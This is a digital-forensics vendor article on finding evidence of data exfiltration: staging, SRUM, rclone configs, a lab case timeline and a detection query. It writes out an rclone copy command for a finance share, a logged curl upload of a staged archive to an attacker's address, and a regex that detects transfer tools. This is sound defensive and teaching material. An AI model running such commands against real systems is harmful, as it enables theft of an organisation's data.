Data exfiltration: how to find the evidence, from staging to rclone and cloud uploads
Data exfiltration from the investigator's side: staging, transfer and clean-up evidence, SRUM, rclone configs, and how to state a conclusion.
Data exfiltration means an attacker, or an insider, moving an organisation's data to somewhere they control without permission. It is what makes an intrusion a data breach in the legal sense, and in most ransomware cases today it comes before the encryption, so that the attacker can threaten to publish what they took. For the people investigating, it is often the question that matters most: whether data left decides notification duties, regulatory reports, customer communications and sometimes the insurance claim.
This article looks at exfiltration from the investigator's side: how attackers typically take data, the evidence each stage leaves on a Windows host, a closer look at rclone (the tool most often named in ransomware exfiltration), and how to state a conclusion honestly when the evidence is incomplete, using an attempted upload from our own lab case as the example.
How attackers exfiltrate data
Most exfiltration follows three stages, and each leaves its own evidence:
- Staging. The attacker finds the data, collects it in one place and usually compresses it, often into password-protected archives split into parts. MITRE ATT&CK calls these Data Staged (T1074) and Archive Collected Data (T1560).
- Transfer. The data is moved out: to cloud storage, over the attacker's command-and-control channel, by FTP or SFTP, through a web upload or email, or occasionally on removable media.
- Clean-up. Archives, tools and configuration are deleted, and sometimes logs are cleared.
Common transfer methods, with examples seen in real intrusions:
| Method | Typical tools | ATT&CK |
|---|---|---|
| Cloud storage | rclone to MEGA, cloud object storage or file-sharing services; sync clients signed in to the attacker's account | T1567.002 |
| Web upload | curl, PowerShell Invoke-WebRequest, browsers, file-sharing websites | T1048, T1567 |
| Command-and-control channel | The implant's own channel (beacons, reverse shells) | T1041 |
| File transfer protocols | FTP, SFTP, SCP, WinSCP | T1048 |
| Attachments to personal accounts, auto-forwarding rules | T1048.003, T1114.003 | |
| Removable media | USB drives (mostly insiders) | T1052 |
| DNS and other tunnels | Data encoded in DNS queries | T1048 |
The evidence for each stage
| Stage | Evidence on a Windows host | What it shows |
|---|---|---|
| Staging | Archive creation in the USN Journal and $MFT; 7-Zip or WinRAR in Prefetch and Amcache; Compress-Archive in PowerShell 4104; command lines in 4688 | What was collected, where it was put, and when; file names and sizes of the archives |
| Staging (file access) | 4663 with object auditing; 5145 on file servers; jump lists and LNK files | Which files were read, and from which shares |
| Transfer | Tool command lines (4688, Sysmon 1); SRUM bytes sent per application; Sysmon 3 and 22; tool configuration files such as rclone.conf; browser history for upload sites | Which tool sent data, where, and roughly how much |
| Transfer (network) | Firewall, proxy and DNS logs; cloud provider logs | Destinations and volumes, independent of the host |
| Clean-up | Deletions in the USN Journal; log clearing; deleted history files | That staging and tools existed, and when they were removed |
Two sources deserve special attention.
SRUM (the System Resource Usage Monitor database, SRUDB.dat) records network bytes sent and received per application and per user in roughly hourly rows, and keeps around 30 to 60 days. A row showing rclone.exe, a renamed binary or curl.exe sending gigabytes in the hour after an archive was created is strong evidence of volume, even when the tool and the archive have been deleted. Its limits are its granularity (an hour, not a moment) and that it records bytes, not destinations.
Command lines give destinations and intent. A recorded rclone or curl command names the remote, the bucket or URL and the local paths. Where process creation auditing with command lines is off, PowerShell logging, Sysmon and the tool's own configuration files fill part of the gap.
rclone: the evidence it leaves
rclone is a legitimate open-source command-line tool for copying files to and from dozens of cloud storage services. Ransomware groups adopted it because it is fast, supports parallel transfers and many providers (MEGA is a frequent choice), is a single portable executable, and looks like ordinary administration to many security tools. It is often renamed to blend in.
What to look for:
- Configuration. rclone keeps its remotes in
rclone.conf:%APPDATA%\rclone\rclone.confon Windows,~/.config/rclone/rclone.confon Linux, or any path passed with--config. Each remote section names its type (mega, s3, ftp, sftp, and so on), and the file holds the credentials or tokens for the attacker's storage account. Passwords in the file are obscured but not encrypted unless a configuration password was set. This file is valuable beyond the host: it identifies the attacker's storage, which can be reported to the provider and to law enforcement. - Command lines. Typical exfiltration commands look like
rclone copy \\fileserver\finance remote:bucket --transfers 16 --ignore-existing --max-age 1yor use--includefilters for document types. Look forcopy,syncormovewith a remote name, high--transfersvalues,--configpointing to an unusual path, and bandwidth or age filters. - Execution evidence. Prefetch for the executable's name, Amcache with its SHA-1 (which identifies rclone even when renamed), BAM, and Sysmon's OriginalFileName where Sysmon is deployed.
- Volume. SRUM bytes sent by the executable, and firewall or proxy logs showing large outbound transfers to storage providers.
- Clean-up. The executable and configuration deleted afterwards, visible in the USN Journal.
Proving, or ruling out, exfiltration
Investigations end with one of four honest conclusions, and the difference matters for what the organisation must do next:
| Conclusion | Typical evidence |
|---|---|
| Exfiltration confirmed | A transfer command plus volume evidence (SRUM bytes, firewall logs) or the receiving side's records |
| Exfiltration likely | Staging and a transfer tool run, with volume consistent with the staged data, but no direct record of what was sent |
| Exfiltration attempted, outcome unknown | A transfer command recorded, but no evidence of how much data left |
| No evidence of exfiltration | Relevant sources examined and covering the period, with nothing found; state the coverage |
The last one needs care. "No evidence found" is meaningful only if the sources that would have recorded a transfer existed and covered the time. A host without process creation auditing, whose SRUM database was not collected and whose firewall keeps a week of logs, cannot support "no exfiltration" about activity three weeks ago. Say what was checked and what was not.
In a real investigation: an attempted upload
In the Halden Freight lab case, the attacker staged and tried to exfiltrate finance documents from the first workstation:
| Time (UTC) | Evidence | What it shows |
|---|---|---|
| 22:10:09 | PowerShell 4104: Compress-Archive of C:\Users\a.berg\Documents\Finance\* to C:\Users\Public\Documents\q4-close.zip | Staging, with the exact source folder |
| 22:10:10.945 | USN Journal: q4-close.zip created | The archive existed on disk |
| 22:10:22 | 4688: curl.exe -s -m 20 -T C:\Users\Public\Documents\q4-close.zip http://10.211.55.2:8443/upload/q4-close.zip | An upload attempt to the attacker's address, with a 20-second time limit |
| 22:14:06 | PowerShell Remove-Item; USN Journal deletion at 22:14:06.922 | Clean-up of the staged archive |
The investigation concluded "exfiltration attempted, completion unknown". The command line proves the attempt and names the destination; nothing on the host proves how much was sent. What would settle it: SRUM's network bytes for curl.exe in that hour, firewall or proxy logs for connections to 10.211.55.2 on port 8443, or the receiving server. Recording the conclusion that precisely, rather than "data was exfiltrated" or "no data left", is what lets the organisation make the right notification decision.
Preventing and detecting exfiltration
- Restrict outbound traffic. Servers rarely need to reach the internet directly; block what they do not need, and block unsanctioned cloud storage and file-sharing services at the proxy.
- Alert on the tools. rclone, MEGA clients and WinSCP on servers, and curl or PowerShell uploads, are rare in most environments.
- Watch staging. Large archives created in Public, Temp or ProgramData folders, especially by archivers launched from a remote session.
- Keep the evidence. Process creation with command lines, SRUM (on by default on Windows clients), and firewall logs retained long enough to cover a typical dwell time.
Finding exfiltration evidence in Arcsentry
Arcsentry parses the USN Journal, $MFT, Prefetch, Amcache, SRUM, event logs, PowerShell logs and rclone configuration files from every collected host into one case, so staging, transfer and clean-up appear in one timeline. This AQL query on the Security log finds process creation for common transfer tools and upload commands:
filter event_code == "4688"
derive {cmd = process_command_line, user = user_name}
filter cmd ~= "(?i)rclone|megacmd|winscp|pscp|\\s-T\\s|--upload-file|Invoke-WebRequest.*-Method\\s+(Put|Post)"
select {timestamp, user, cmd}
sort {timestamp}The AI investigator follows staging to transfer to clean-up, cites each record, and states the confidence of the exfiltration finding, as it did for the Halden upload ("completion unknown"). For the wider context see indicators of compromise, the insider data theft use case and the exfiltration glossary entry.
Frequently asked questions
What is data exfiltration?
Data leaving an organisation's control without authorisation, moved by an attacker or an insider, for example by uploading it to cloud storage, sending it over a command-and-control channel, emailing it or copying it to removable media.
What are examples of data exfiltration?
Ransomware operators copying file shares to MEGA with rclone before encrypting; an attacker uploading an archive with curl to their own server; an employee syncing customer files to a personal cloud account; mailbox rules forwarding email to an outside address.
How do you detect data exfiltration?
Watch for staging (large archives in unusual folders), transfer tools (rclone, WinSCP, curl uploads), unusual outbound volume by application (SRUM, firewall and proxy logs) and connections to unsanctioned storage services. In an investigation, combine command lines, SRUM and network logs.
How can you tell how much data was exfiltrated?
From SRUM's bytes sent per application per hour, firewall and proxy logs, cloud provider logs, or the size of the staged archives. Each gives a different angle; together they bound the volume.
Why do attackers use rclone?
Because it is a legitimate, portable, fast tool that copies files to many cloud storage services, including MEGA, with parallel transfers and filters, and its traffic can look like ordinary cloud use.
How we wrote this
Drafted with AI from evidence in our own lab, with Laura Pompeu responsible for the article. The evidence comes from Halden Freight office intrusion (Windows, two hosts), built and investigated in our lab, so every example can be checked against real records.
Sources
- MITRE ATT&CK TA0010: Exfiltration; T1567.002 Exfiltration to Cloud Storage; T1560 Archive Collected Data, MITRE
- rclone documentation: configuration and commands, rclone project
- CISA and partners: joint ransomware advisories describing rclone and cloud storage exfiltration, CISA
- Microsoft Learn: System Resource Usage Monitor (SRUM) and network usage data, Microsoft
See it on your own evidence. Free for 7 days.
Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.
Request a trial